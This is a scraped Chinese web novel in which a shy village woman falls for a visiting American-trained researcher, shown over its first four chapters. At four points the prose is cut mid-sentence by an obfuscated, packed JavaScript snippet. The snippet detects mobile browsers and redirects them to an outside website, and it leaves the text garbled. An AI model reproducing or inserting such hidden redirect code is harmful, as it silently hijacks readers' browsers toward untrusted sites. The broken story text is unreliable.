《真的很想回家种地》 1. 初见沈求章 刚出梅的第一天,毒辣辣的日头就烫得人说不出话来。 大地一片静默,衬得那把破锣似的苍老男声格外地嘹亮: “荷花——来接一下人!” “荷花!!!” 池边柳树上午休的蝉应该是被吵醒了,又不要命地叫了起来,层叠而又嘈杂,叫人心烦意乱。 “来哉——”远处传来一个清脆柔和的声音。 六月的荷塘已是红粉争艳、碧玉接天,肥硕的荷叶们毫不惧怕酷热,拼命地向上拔高、拔高……有条小船终于从层层叠叠的荷叶中挤了出来,轻轻巧巧地靠岸后,从上面跳下了一个清清秀秀的女孩子。 “王阿公,有撒事体啊?”她摘下草帽抹了把汗,细腻匀净的脸颊上透出了两团健康的红晕。 破锣嗓的主人——棠明村村支书王老头,挪了挪圆润的身子,露出了身后被他遮挡住的一行人: “伊得是外头大学来考察的,叫啥个……克林顿大学的,现在天气忒热哉,弗好再喊伊得走路,侬就带伊得到荷塘里转转呀。” 他扭头努力地用蹩脚的普通话对身后的人介绍起来: “伊是我们村里唯一的大学生,叫姜与荷,老姜的姜,荷花的荷,一直在海城上班的,概趟碰巧休假回家,正好让伊带你们逛一圈,你们喊伊小姜就好了。” 什么克林顿大学,姜与荷努力地思考,难道是……克莱登大学?世界上居然还真的存在这所学校? 她正在神游着,对面已经有一个人朝她伸出手来: “姜小姐你好,我叫沈求章。我们是普林斯顿大学生物工程实验室的,来这里考察,这次麻烦你带我们游湖了。” 还来不及对王老头的不靠谱表示无语,姜与荷就被眼前人的出尘风姿冲击了一下。 在她这个普通人的世界里,还是第一次出现这样的人物。 虽然穿着普通的短袖长裤,但他却让人感觉像个古代诗礼传家的贵公子。面如冠玉、目若朗星,站在她面前,濯濯如春月柳。 外貌上的优越还在其次,更吸引人的是他通身的气质。松弛而舒缓,和她伸手倒仿佛是在向她揖礼,让人恍觉春风拂面。 “温润如玉”就是指这样的人吧。 姜与荷在心里赞叹着,忙不迭地和人握手回礼: “不麻烦不麻烦,既然是村支书带来的,给你们打折,一趟就五十块好了。” 一码归一码,亲兄弟也要明算账哦。 连手都是清清爽爽的,今天真是赚到了~这算不算财色兼收呢? 她心里美得冒泡,完全无视边上王老头快眨到抽筋的眼皮和精彩纷呈的脸色。 “啊呀,各小囡怎么这么不懂事!怎么好收铜钿……”王老头擦着汗努力挽回。 “应该的,姜小姐已经给我们优惠了。”沈求章轻笑起来,眉眼弯弯,仿佛可以包容她所有的小心思。 明明已经被大太阳晒得发烫了,为什么还会有种沐浴在和煦暖阳下的错觉啊……姜与荷的心跳快了两拍。 “现金和电子支付都行,我什么app都有收款码。”用最后的理智介绍了付款方式,她扭头就跳上了船,整理东西准备出发。 沈求章一行三人,勉强坐得下。待人坐稳,她撑起竹蒿,向荷花丛中划去。 “姜小姐,需要我帮忙吗?”许是担心她划不动载着三个男性的小船,沈求章出声询问。 “没事没事,我习惯了,你们坐稳就好,当心摇晃,我船上可没准备救生衣。”她摆摆手示意他别乱动。 开玩笑,另外两个都是干巴老头,沈求章也是高高瘦瘦的类型,这么三个人对于从小习惯撑船载货的姜与荷来说根本不在话下。倒是他们万一有谁掉下去了她才苦恼呢,虽然这荷塘也不深,但收了钱领人游湖,让人带一身泥回去总是不好意思。 也不知是不是名字里带荷的原因,她从小就喜欢这片荷塘,喜欢盛夏时它独特的味道。呆在这里,沐浴在荷叶清香中,连酷热的暑气都变得没那么可怕了。 临走再摘点荷花荷叶小莲蓬,还能去镇上卖给游客换点零花钱。今天更是来了笔意外之财,带人转一圈就有50块进账,是以姜与荷撑船时候精神格外地饱满。 这片荷塘位于村子东边,连着村外的棠月湖,连绵了很大一片。到了夏日,整片湖面都是碧绿碧绿的,被艳阳一晒,荷叶就会蒸腾出一股清爽独特的味道,沁人肺腑,闻之仿若两腋风生。 可惜这种味道一年只能闻到三四个月,过了时间,要么阳光不够烈,要么荷叶不够肥,怎么都闻不见那种特别的香味。所以姜与荷非常珍惜,闲下来了就常钻进荷叶底下睡午觉。花叶香气和湖面微风,是世界上最美的摇篮曲。 棠明村是一个保留村,不会列入拆迁计划,是以还留存着挺多古建筑,姜与荷一边撑船一边向乘客们介绍湖边的古迹。主要是她给沈求章介绍,沈求章再给其他人介绍,因为另外两个干巴老头都是秃顶白胡子老外,中文水平可能还在幼儿阶段。 不知道他们到底来自哪国,以她低空飞过六级的水平只听得出他们的英语都带着些口音。沈求章要先用英语翻译,再用另外的语言回答老头们单独提的问题,姜与荷感觉他比撑船的自己都忙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486726|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她旁听了半天,只能听出俩老头来自不同的国家。小小的一艘船竟然载了三个国家的人,她瞬间觉得肩上担负着维护棠明村国际形象的重任,认真思考要不要再给他们打点折。 小船慢悠悠地在荷花丛中穿行,姜与荷沿途采摘了很多半开不开的花苞和青翠鲜嫩的荷叶,还教他们把荷叶倒扣在脑袋上遮阳。两个老头兴致勃勃地给自己的秃头戴上防晒帽,没想到沈求章也跟着他们一起戴了个“荷叶帽”,还认真地夸她给了个天才的点子。 傻傻的荷叶帽、矜贵的气质和真诚的态度,组合起来有种诡异的滑稽,又突兀地让姜与荷想起了一首古老的歌谣。 她蓦地笑出了声,又仿佛不好意思似地低下了头。 盛夏的日头实在太毒,晒得她脸上的红晕更深了。 这时候,沈求章却微笑着和她搭话: “姜小姐,我在其他古镇见到很多会唱传统民谣的当地人,不知道你会不会唱呢?” 像是被戳中了什么心事,姜与荷连忙摇头: “我不会的,我怕唱完了还要倒给你们钱。” 沈求章听了也不言语,只是冲着她笑得更开怀了。清亮的眼眸微微眯了起来,倒映着湖面潋滟的水光,让姜与荷不敢再看。 短暂的行程结束,船终于靠岸了,她拣了些荷花荷叶,用船上的麻绳扎了三束花送给乘客们,提升一下客户体验,反正她也没花钱,至于船费嘛…… “姜小姐,我这次回来还没有办好国内的支付手续,麻烦你先加一下我的联系方式可以吗?”沈求章很上道地问她。 “可以可以,不着急。”姜与荷嘴上客气着,忙不迭地扫了他的微信。 看着村支书王老头带着他们一行人离开的背影,她拎着今天的劳动成果转身回家了。 姜老太这时候还在外面串门,她到家先给自己洗了个澡,再给荷花们洗个澡,然后拾掇拾掇,扎点好看的造型,等傍晚凉快点了就可以去镇上摆摊。 玩了一天的游客蛮多都喜欢在临走前带一束荷花回家,白天要游玩,拿在手上不方便,花还容易蔫,走之前再买就刚刚好。 “以后也不会再碰面了吧”,姜与荷边包花束边想着。 她此时正坐在堂屋里吹着穿堂风,没来由地想到了刚才闯入脑中的那首歌谣: 今夕何夕兮搴洲中流, 今日何日兮得与王子同舟。 蒙羞被好兮不訾诟耻, 心几烦而不绝兮得知王子。 山有木兮木有枝, 心悦君兮君不知。 ——《越人歌》 2. 突然的告白 姜与荷怎么也没想到下一次碰面居然这么快。 当时她正在溪山镇上最大的一家饭店——仙客楼门口摆摊卖花。 那是一栋精巧的二层小楼,本身就是在老宅子基础上重新扩建的,翻修得又很用心,基本保留了原来的建筑样式,内部装修也很是古朴雅致。再加上溪山镇算是一个千年古镇,颇有一些旅游资源,仙客楼现在也经营成了网红打卡点,食客络绎不绝,这里也是姜与荷最爱的摆摊地点。 今天游客很多,她带来的花束又少,早早地就卖完了。她正开开心心收拾东西准备走人,就听见头顶传来熟悉的声音: “姜小姐!” 她抬头一看,沈求章正倚在二楼的雕花栏杆上,笑眼盈盈地望着她。 就在这一瞬间,她竟然有点懂了西门庆在大街上仰头看到潘金莲时的心情。 呸呸呸,今天的功德没了。 她甩甩头,把乱七八糟的念头清空,和沈求章打了招呼: “好巧,你们在这吃饭啊。” “是的,你等我一下。” 他匆匆下了楼,到了姜与荷面前。 “原来你采的荷花是要卖给游客的,我们岂不是占了你的便宜。” “没事,反正是随手摘的,湖里到处都是,没什么本钱。就当见面礼吧,欢迎你们再来。”姜与荷努力客套着。 沈求章却向她发出邀请:“我们还要在这里呆三天左右,可以请你当我们的导游吗?我的老师们也都觉得你的讲解很有意思。” 额……虽然沈求章是个难得一见又温和有礼的大帅哥,她也不排斥多看看他,但她实在是不善交际,不懂该怎么和不熟悉的人说话,换种说法就是社交恐惧症,和陌生人打交道总是有点紧张和尴尬。 姜与荷有一点点心动,和很多点犹豫。 “一千元一天可以吗?”沈求章小心翼翼地问道。 夺……夺少? 她一时间愣住了,都忘了怎么组织语言。 “一千五?”见她没说话,沈求章试探性地加了价。 “可以可以,明天几点?先去哪里?”她连忙答应,怕慢了一秒对面就反悔了。 在1500/日的工资面前,姜与荷感觉自己无比活泼,随便抓个路人也能一见如故。 晚上回去时姜老太正在客厅看电视,见她回来,给她端了碗赤豆酒酿汤圆当夜宵。嘱咐她吃完早点睡觉,姜老太就先上楼去了。 姜与荷开着电视刷着手机吃着汤圆,一个人也挺忙的。等洗好碗洗好澡已经是十点了,她刚躺到床上拿出手机,就看见沈求章的微信向她转账了500,备注“船费”。紧接着又转了5000,备注“工资”。 这日薪都超过1500了吧……姜与荷瞬间感觉自己被治愈了。 她此时终于深刻了解了那句话:“世界上只有一种病,就是穷病”。 区区社恐,不在话下! 后面三天,姜与荷带着沈求章一行人走遍了周边的几个村落。所幸这些村子她以前为了采桑叶养蚕宝宝都被姜老太带去玩过,还算熟悉。 了解了他们要考察的地点后替他们安排行程、推荐饭店,顺路介绍些名胜古迹,还靠着本地人身份砍砍价避避坑,好歹算是办得妥帖,对得起沈求章付的工资。 他们重点看的都是茶园,好像是和政府合作的研究项目。一般这种调研都会有政府人员安排好行程,要去哪里都是预先定好、通知好当地相关人员的,上次也是村支书王老头带着他们来找自己,怎么还会雇用她当向导? 不过她也不会傻到断自己财路,沈求章不说,她就不问。做人嘛,该装傻时就要装傻。 三天的时间很快过去,他们这次是真的要走了。 姜与荷心里既有完成任务的如释重负,又有点说不清道不明的惆怅。 她并不想去深究什么,不管怎样,这几天的经历在她乏善可陈的生活中已经是难得的精彩,这也就够了。 品完最后一杯茶,他们就要出发去海城了。 今日一别,是真的无缘再见了吧……姜与荷慢慢啜饮着手上的碧螺春,这款是用青柑制的碧螺红茶,入口多了点酸涩的滋味。 “现在外面很凉爽,我们去树荫下吹会风吧?”沈求章突然向她发出邀请。 她点点头,起身和他往茶园走去。小路两边有很多高大的香樟树,阳光穿透茂密的树叶,被切割成细碎的光晕,洒在沈求章挺拔的背影上。 “送我们回海城的车子已经到了。”他转过身来,浓密的黑发被清风温柔地拂过,露出光洁的额头。 “祝你们一路顺风。”姜与荷感觉自己想说些什么,却又不知道能说些什么,最后只冒出来一句干巴巴的祝福。 “最多在海城呆半个月,我就要回美国了。” 沈求章沉默了一会,似是在犹豫,最后还是转头看向姜与荷,认真地说: “虽然有些不合时宜,但是我还是想问一下,你愿意试试看与我交往吗?” 啊??!! 这话像个突如其来的炸弹,把姜与荷的脑子炸得一团浆糊。她做梦也想不到沈求章居然会问她要不要交往? 即使抛开这四天极短的相处不谈,他们两人也是不合适的。 不需要多问,只看沈求章的谈吐、气质和作派,就绝不是普通家庭能养出来的。再加上他还远在美国求学,隔了几千公里的距离,即使对他有些朦胧的好感,姜与荷也从未有过一丝和他在一起的幻想。 凭心而论,沈求章有学识有教养,外加气质清雅、姿仪俊秀,自己这种母单社恐会对他产生好感是很正常的事。她本来只打算把这几天的经历当作命运偶尔赠送的一个小礼物,给她平淡无趣的人生增添一点未来可以与人八卦的谈资而已,毕竟沈求章这样优秀的男性是真的可遇而不可求。 没但她想到这个“小礼物”会这么大……大到让她有些苦恼。 她现在就像是一个误入了沙漠藏宝洞的旅人,明知道这些金银财宝对于现在的自己毫无用处,反而还可能是拖累,但就是无法干脆利落地放弃这些闪闪发亮的宝贝。 她长这么大也是第一次碰到有人向她告白,又震惊又羞涩,只觉得脸上热得像要烧起来。她混沌的脑子一时之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486727|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不知道要说什么才好,只能含糊不清地问:“你……为什么……” 沈求章似乎也为自己的唐突觉得有些不好意思:“其实我也不太清楚……第一次见到你就觉得你很可爱,与你相处的时候我也一直很快乐。后面几天也是出于我的私心才回绝了工作人员的安排,私下邀请你当导游,也是这几天让我确定了我真的很喜欢同你在一起。” 姜与荷的脸越来越红,根本不敢看沈求章,只能低着头闷闷地说:“也许你只是误会了,觉得我是个很难得的朋友而已……” 沈求章语气有些着急:“我也有女性朋友,分得清友情和爱情。请不要因为我们只认识四天而怀疑我的诚意,我并不常有这种感情。这么仓促地同你告白也是因为我很快就要离开,我怕什么都不做,就与你再无可能了。” “但也是因为我马上就要走了,这样做对你并不公平。虽然很想得到你的回应,但我也希望你可以慎重考虑。如果你能够接受异国,其他的问题我都可以解决,我有空就可以飞回来。” 他的脸颊白皙干净,衬得泛红的耳朵更加显眼。姜与荷看着他温和却坚定的眼睛,突然间好似生出了许多勇气。 试试就试试,反正她怎么也不亏! 而且她本身就是一个喜欢独处的人,也不擅长处理亲密关系。和恋人异国,对于别人来说可能是极大的困扰,但是对于她却像是小小的惊喜,减轻了她许多心理压力。 即使是沈求章,她现在也无法想象一下子就和他亲密无间的样子。如果他不出国,她反而可能会退缩不敢答应。 可能以后的她会为了异国而伤心苦恼,但那总是以后的事情。 “那……我们试试吧?” “嗯!” 仿佛是一直紧绷的神经突然松懈下来,沈求章难得激动地上前拥抱了一下她。 第一次跟异性如此近距离接触,姜与荷被吓了一跳,根本分不清那些剧烈的心跳声到底是属于谁的。男性的怀抱和她以前拥抱过的女性不一样,平坦而又坚硬,却足够宽广,能够完全包裹住她。 她觉得浑身都很热,却也并不想挣脱开这个怀抱。 她的脸现在肯定很像猴子屁股吧,姜与荷感觉自己都不好意思抬头了。 沈求章像是终于反应过来了,松开了手,向她连连道歉: “对不起,我不该这么唐突……” 这次他的脸颊上也浮起了淡淡的红晕,倒像是染了些恰到好处的胭脂。 今天接收的冲击太大,毫无恋爱经验的姜与荷根本不知道该怎么办,只是拼命地想转移话题,当作无事发生:“咳……你们是不是要出发了啊,别让老师等你太久了。” “走吧走吧。”她一边催促着,一边扭头往回走。 身后隐约传来一声轻笑,然后就有一只温热的手覆了上来,稳稳地牵着她往前走。 回去的路上,细碎的阳光依然洒在沈求章的背上,姜与荷此刻的心情却与来时不同。 明明是同样的一条路,这次她却感到空气中漂浮着一股好闻的味道,抬头张望了一下,原来就是两旁樟木的幽幽清香。 3. 植物展 沈求章已经出发去了海城,姜与荷马上也要结束休假,他们约好三天后在海城见面。 作为一个不甚成功的小镇做题家,姜与荷在高考后去了外省一所声名不显的985大学,直到毕业还有不少亲戚以为她上的是一所专科职业院校。 但还是托了985这个平台的福,校招时候没有被卡过简历,加上教授的推荐和一点点的运气,终于成功入职了海城的一家独角兽企业——南山科技。 姜与荷几乎是对这家公司一见钟情,看看这名字,“采菊东篱下,悠然见南山”,这不就是她的梦想吗?她与公司之间难道不是天定的缘分吗? 当然,入职后发现这名字是老板创业时候怕公司倒闭太快,借的“寿比南山”的意思就是另一回事了。 作为一个人际交往能力极其低下的社恐,姜与荷最想做的事情就是回棠明村养养花种种菜,偶尔找游客赚点外快,提前过上清闲的退休生活。 但是看看六十多岁的姜老太,再看看干瘪的钱包,她还是得硬着头皮去大城市打工挣钱,至少攒出姜老太以后的医疗基金,和她回村躺平的基本生活费。农村虽然消费不高,自己种的菜都吃不完,但是过日子还是多少得花点钱的。 还好海城作为超一线大城市,离苏城不远,工资水平却高很多,对她来说简直是理想打工地。 姜与荷目前最大的心愿:攒够100万然后回老家种地。 她粗略地算过,姜老太身体一向硬朗,她毕业上班后带她去体检也显示很健康,只有点小毛病需要调理。她以后回村也不是纯躺,也能找点清闲的不用坐班的活计做做,或者托隔壁复生阿哥帮忙在网上卖点东西,一月能挣个两三千就完全够她在村里的开销了。毕竟她现在不爱买什么奢侈品,也不讲究穿戴,网购也大多是买点有趣而廉价的小玩意。 这么算下来,加上她和姜老太俩人的医保社保,100万应该是够她下半辈子花的,要是不够……那就以后再说。 之前每次结束休假的时候,她的心情都如丧考妣。这次的离开同样沮丧,但在沮丧中却有了一些隐隐的期待。 姜与荷的少女时代是裹着校服度过的,她那时候只知道高考是她人生最宝贵的机会,所以整天就是看书、做题、帮姜老太干活。其实她挺喜欢高中校服的,也一直留着,现在姜老太有时干活还会穿穿。 总有人批判中式校服让学生们变得千篇一律、没有个性,但姜与荷却为此偷偷感到庆幸。 穿上校服,好看的人依旧好看,不好看的人却能变得不太显眼。宽松又结实的化纤运动服,完美地包裹住她当时圆润的身体,隔开了十几岁的愚蠢男生恶劣的玩笑,保护了一个青春期少女脆弱敏感的自尊。 她此前从未谈过恋爱,也从未对爱情有过任何幻想。但她现在却忍不住地想,少女怀春,是什么滋味呢?和她现在的心情一样吗? 在她的胡思乱想中,高铁终于到站。刚出站,就看到了向她微笑挥手的沈求章。 今天的阳光很是灿烂,仿佛在他周身洒下了一圈光晕。他穿着一件米白色的V领衫,针织的料子透着丝绸的光泽,配上一条淡蓝色的牛仔裤,清爽得像个刚上大学的校草。 “展览刚开始,我们去了应该还能领到小礼物。”他接过姜与荷的行李箱朝着停车场走去。 他有一个植物学家朋友,今天正好在海城举办植物展,前两天沈求章就在微信上邀请她一起去参观。姜与荷作为一个植物(购买)爱好者,本身对这类展览就非常感兴趣,只是她的门路不广,消息不太灵通,以前往往都是展览都结束了才会偶然刷到,这次沈求章的邀请正中下怀。 刚到达目的地,姜与荷就惊呆了,因为这个植物展的规模实在是太大了,几乎占据了整个国际博览中心。门口的指示牌上标出了签到区、热带植物区、中药植物区、珍稀植物区、植物染区、标本区等等众多区域,她都怀疑一个下午够不够看完。 不管怎么样,先把签到礼物领了再说。她小跑着直奔签到区,沈求章都差点追不上她。来看展览的人很多,要是礼物被领完了就亏大了。 “小礼物”分为花苗和种子两大类,品种很多,需要自己随机抽取。姜与荷抽到的是木芙蓉,这她很开心。她的名字里有水里的芙蓉,今天又抽到了地上的芙蓉,这种意想不到的巧合总能给人一点小惊喜。 沈求章抽到的是茉莉,他把它送给了姜与荷:“我马上要走了,还是拜托你种吧。” 姜与荷开开心心接过,这下她就有两种花啦。等把它们带回乡下老家,种到自然界的广阔天地(她家后院)里,接下来就看它们自己的奋斗了!要努力呀! 把东西放到寄存点,两人就从热带植物区开始慢慢逛着。看着那些艳丽鬼魅、难得一见的神奇植物,已经上班三年兼被生活毒打三年的姜与荷脑子里第一个冒出来的却是“钱”字。听沈求章说这些展品里很多都是他朋友的私藏,另外一些是从植物园和研究机构借来的。 不谈这些植物的价格,光是运输、保存的费用就已是天价,因为很多珍惜植物对于环境的要求极为苛刻。 而且这个展览并不收取门票,还送各种礼物,植物售卖区的价格也是极其良心,根据姜与荷多年的网购经验,绝对是物美价廉,甚至让她怀疑够不够成本。 “真是个为爱发电的土豪啊……”她正在心里感叹,就见沈求章和一个圆圆的人交谈了起来。 虽然有些失礼,但这位先生给她的第一印象确实是圆……圆溜溜的脑袋上覆盖着一层极短的发茬,圆嘟嘟的脸上架着一副圆框眼镜,看起来很是和善。 “这位就是我的朋友,也是展览的举办者,钱叶博士。”沈求章给姜与荷介绍。 这位圆博士……不,钱博士的父母肯定是让算命先生给他起的名吧,短短的两个字竟然能如此贴切地预言人生。 “你好,我叫姜与荷。”她有些拘谨地打招呼,拼命压下脑子里疯狂冒出的找算命大师改名的想法。 “姜小姐你好,希望你喜欢我的展览。”钱博士乐呵呵地和她握手。 “当然喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486728|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢,植物园都比不上这个展览。而且出售的花草状态又好又便宜,比我网购过的那些店铺都好多了。”姜与荷不太擅长夸赞,只会实话实说。 她的恭维看起来让钱博士很受用,他笑得更开心了,让她想起庙里供奉的弥勒。 “对了”,钱博士突然想起来什么,“你的两位堂妹也来了,我带你们去见见。” 沈求章的妹妹?这么快就要见面了吗?沈求章的家人+陌生人,这两种buff叠加,让姜与荷内心有些忐忑和紧张。 他的堂妹们在参观植物画,这个区域展览的都是国内外精品植物科学画的原稿,姜与荷一进来就被墙上的一幅幅精美画作吸引了。画旁还配有放大镜,透过放大镜看到的画依然纤毫毕现、脉络分明。这个区域不知道为什么,还没有其他观众来。 她没什么艺术细胞,不懂欣赏抽象艺术,就喜欢写实的画。对于她这种宅女来说,越写实的画越能让她有种穿越时间和空间旅行的感觉。 这次实在是机会难得,她看得不亦乐乎,差点忘记了来这里的目的。沈求章也跟在她身后,偶尔帮她拿高处的放大镜。 “与荷,我的堂妹快要走了,我们先去打个招呼。”空闲的左手突然被握住,沈求章牵着她向前走去。姜与荷看着他清雅的侧脸,心绪很是杂乱。 她感觉自己的心跳有些紊乱,但她说不清是为了什么。 快到走廊尽头的时候,她的视线被一副巨大的山茶花攫取。极艳的红色蔓延在画布上,沉默地进行一场热烈盛大的绽放。花前站着两位身着黑色套装的女孩子,正在与钱博士交谈。 仿佛是察觉到有人走近,她们转头看了过来。两张同样沉静柔美的面容,在艳丽张扬的山茶面前反倒显得愈加出尘。 没想到这两位堂妹还是双胞胎。 “介绍一下,我的堂妹们,沈滋兰、沈树蕙。”沈求章转头给她们介绍起姜与荷,她们向姜与荷微笑问好,笑容和沈求章有些神似。 “很少见到你和女孩子一起出门。”沈滋兰的语气略带调侃。 “与荷是我的女朋友,自然不一样。”沈求章笑得有些得意。 “叔叔知道了吗?”这次说话的是沈树蕙。 “忘记和他们说了。”被妹妹提醒,沈求章因为自己的疏漏有点懊恼。 沈氏姐妹没再多说什么,继续和钱博士聊起刚才的话题,似乎是在讨论联名合作的事。 “曾先生年事已高,他并不在乎钱财。”钱博士看着有点为难。 “利润自然不重要,重要的是优秀的营销可以让小众领域走入大众视野。我们的联名也可以分摊高昂的印刷成本,让更多的人能够接触了解。最重要的是,”沈滋兰信心满满,“光明的前途会吸引顶尖的人才,我想这也是曾先生的愿望。” “好吧,我可以为你引荐,能不能说服他就看你了,我是不好多说什么。”钱博士最终败下阵来。 此行的最大目的达成,沈氏姐妹露出温婉得体的笑容,和沈求章一行人礼貌道别后就匆匆离开。 4. 裴慎如 “她们这么快就走了吗?”姜与荷本来还因为等会可能一起吃饭而有点紧张,没想到下一秒她们就只留下了潇洒的背影。 “比利时还有个会议,时间比较紧,”沈求章向她解释,“她们已经接手了一些家族生意,行程非常满,还不知道下次会在哪里碰面。” 沈求章语气平淡,仿佛这是再正常不过的事。 年纪轻轻就已经身负重任……姜与荷心中生出了几分佩服。 虽然自己是条咸鱼,但她却很喜欢看野心勃勃、努力向上的女性。 她们总能让她感受到蓬勃的生命力,就像四月里的油菜花田,铺天盖地的金黄。 她兴致勃勃地和沈求章继续参观,见到了各式各样稀奇独特的果壳和种子,还尝试做了植物染。 他们用石榴皮和蓝靛染了一块绿色细葛,又用苏木和茜草染了一块水红色的。虽然做出来都是斑驳不均的颜色,但姜与荷依然很开心,多么富有设计感的渐变色呀! 两块布烘干后,姜与荷留了水红色的,把绿色的叠好拿给沈求章:“虽然不知道做什么用,但你先放着吧。” “嗯,我在美国会慢慢想的。”他点点头。 他一手拎着袋子,一手牵着姜与荷去找钱博士。 “他说有家餐厅一定要推荐给你,一起去吗?他很好相处也很健谈,你不用觉得不自在。只吃饭不说话也可以的,他自己就能说很久。”沈求章低头问她。 钱博士确实是个随和的人,而且比起两人单独吃饭,目前还是三个人吃更让她自在一点……她现在和沈求章独处,还是会有些没来由的紧张和不好意思,初恋的人都是这样吗,还是就她比较古怪? 钱博士带他们去的餐厅位置很幽静,开在梧桐掩映的一栋民国别墅里,门口也没见任何招牌。黑色的雕花大门紧闭着,待他们的车开近了才缓缓打开。 姜与荷还以为是到了谁家的私人住宅,沈求章和她解释这是一个朋友用名下一栋闲置的房子开的小餐厅,既方便朋友们请客聚餐,也方便自己吃饭。 车开入大门后,姜与荷感觉这“小餐厅”好像稍微有那么点大。她对空间的概念不强,说不清面积有多少平,只知道房子很大,院子也很大,宽阔的草坪边已经停了几辆豪车。 有侍者引他们径直上了二楼,进了一间有巨大落地窗的房间。天色将晚,草坪上的灯都亮了起来,一点一点细小繁密的萤光,透过落地窗看去,仿佛星空坠落人间。 菜很快上来了,看起来像是云南菜。姜与荷有点惊讶,这种环境里,她本以为会是法餐,但是想想钱博士的爱好又觉得很合理。 青翠欲滴的芭蕉叶被精巧地叠起充作碗盘,展示着令人眼花缭乱的云南美食。姜与荷虽然一直想去,但她目前为止还没去过云南,她对云南菜的认识仅限于书上看到的汽锅鸡,以及每年都要上热搜的菌子。 一桌上花花绿绿的食材里大部分她都认不出来,她唯一能确定的就是有很多很多菌子,五颜六色形态各异的菌子,传说中吃了容易看见小人的菌子。 钱博士兴高采烈地给他们介绍:“这里的食材是真的新鲜!你看这叶子翠的,每天凌晨从云南空运来的。云南菜嘛,吃的就是本土和新鲜,所以在外地想开云南菜馆不容易,找家地道的更不容易。” “这些菌子,味道跟我在云南吃的一模一样啊,一看就是早上刚拔出来的,还带着松针和泥呢。这锅快开了,先下点菌子。” 钱博士看起来是常客,自恃经验十足,挥退了侍者后就迫不及待倒了一堆菌子进去。姜与荷看见里面有几朵红伞伞白杆杆的,连忙拦住他: “红色的不是有毒吗?” “这是可食用的灰肉红菇,也叫大红菇,味道极其鲜美,不过外形确实和有毒的品种很像,不懂的不能自己瞎采。”钱博士打开了话头,开始滔滔不绝地给她科普菌子知识,大力推荐他精心品鉴过的优质菌种。 “还得是牛肝菌,好买好做又好吃。有次跟我老婆去玉溪开会,从山民那买了点刚采下来的见手青,用小南瓜叶子洗净、切片,猪油、菜籽油对半倒入锅中烧热,再用蒜片和皱皮青椒,与切好的菌子同炒,只需要一点点盐,就是人间美味啊。” 钱博士闭目摇头,一副回味无穷的表情:“这些山珍在当地现采现吃最好,有机会你一定要去试试。” 姜与荷对这些遥远特殊的地方一直都很有兴趣,奈何生性惫懒不爱出门,身边也没有什么热爱旅游的朋友带她,所以她的“旅游”总体还停留在电子阶段。 足不出户便知天下事,她也觉得挺好,感谢科技发展。 沈求章为了学术研究,也时常去各地考察,自然不会错过云南这座生物宝库,他跟钱博士也聊起了当地碰见的各种稀奇古怪的食材。 “我在大理鸡足山吃过一种冷菌,和云腿片同炒,香气独特,”沈求章转头看她,眉眼温柔,嘴角噙笑,“以后和我再去一次好吗?” 姜与荷感觉自己突然受到了暴击,心口的小鹿正在发癫。 “嗯嗯。”仿佛为了掩饰慌乱,她轻声答应了后便转向火锅,捞了一大勺菌子上来。 她生平第一次吃到如此鲜美的菌汤,仿佛还氤氲着林间松针的清香,应该是带着露水被摘下的吧。 姜与荷平时吃火锅都离不开调料,现下却觉得菌子本身的滋味便已足够。 沈求章倒是在一旁调了碗蘸料递过来:“尝尝看,我放的辣椒不多,应该不会辣到你。” 作为苏城土生土长的姑娘,姜与荷的口味偏酸甜,外出上大学后才锻炼出了一点点吃辣的能力,从吃红烧牛肉方便面会被辣到的水平,进阶到了可以吃香辣牛肉面的level。 她蘸了蘸沈求章调的这碗料,只觉得有股香气直冲脑门,酸凉清爽,正合她的口味。 “这里面是什么呀?味道好特别。” “我加了一点香茅草和薄荷叶,当地人推荐的吃法,确实风味别致。” 姜与荷本来也爱尝试新菜色,云南菜意外地合她口味,自然大快朵颐起来,清炒、鲜炖,各色菌子吃得她不亦乐乎,根本顾不上聊天。幸好有钱博士在,他和沈求章两人聊得尽兴,她自己也吃得尽兴,这宾主尽欢的场面,真是完美。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486729|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 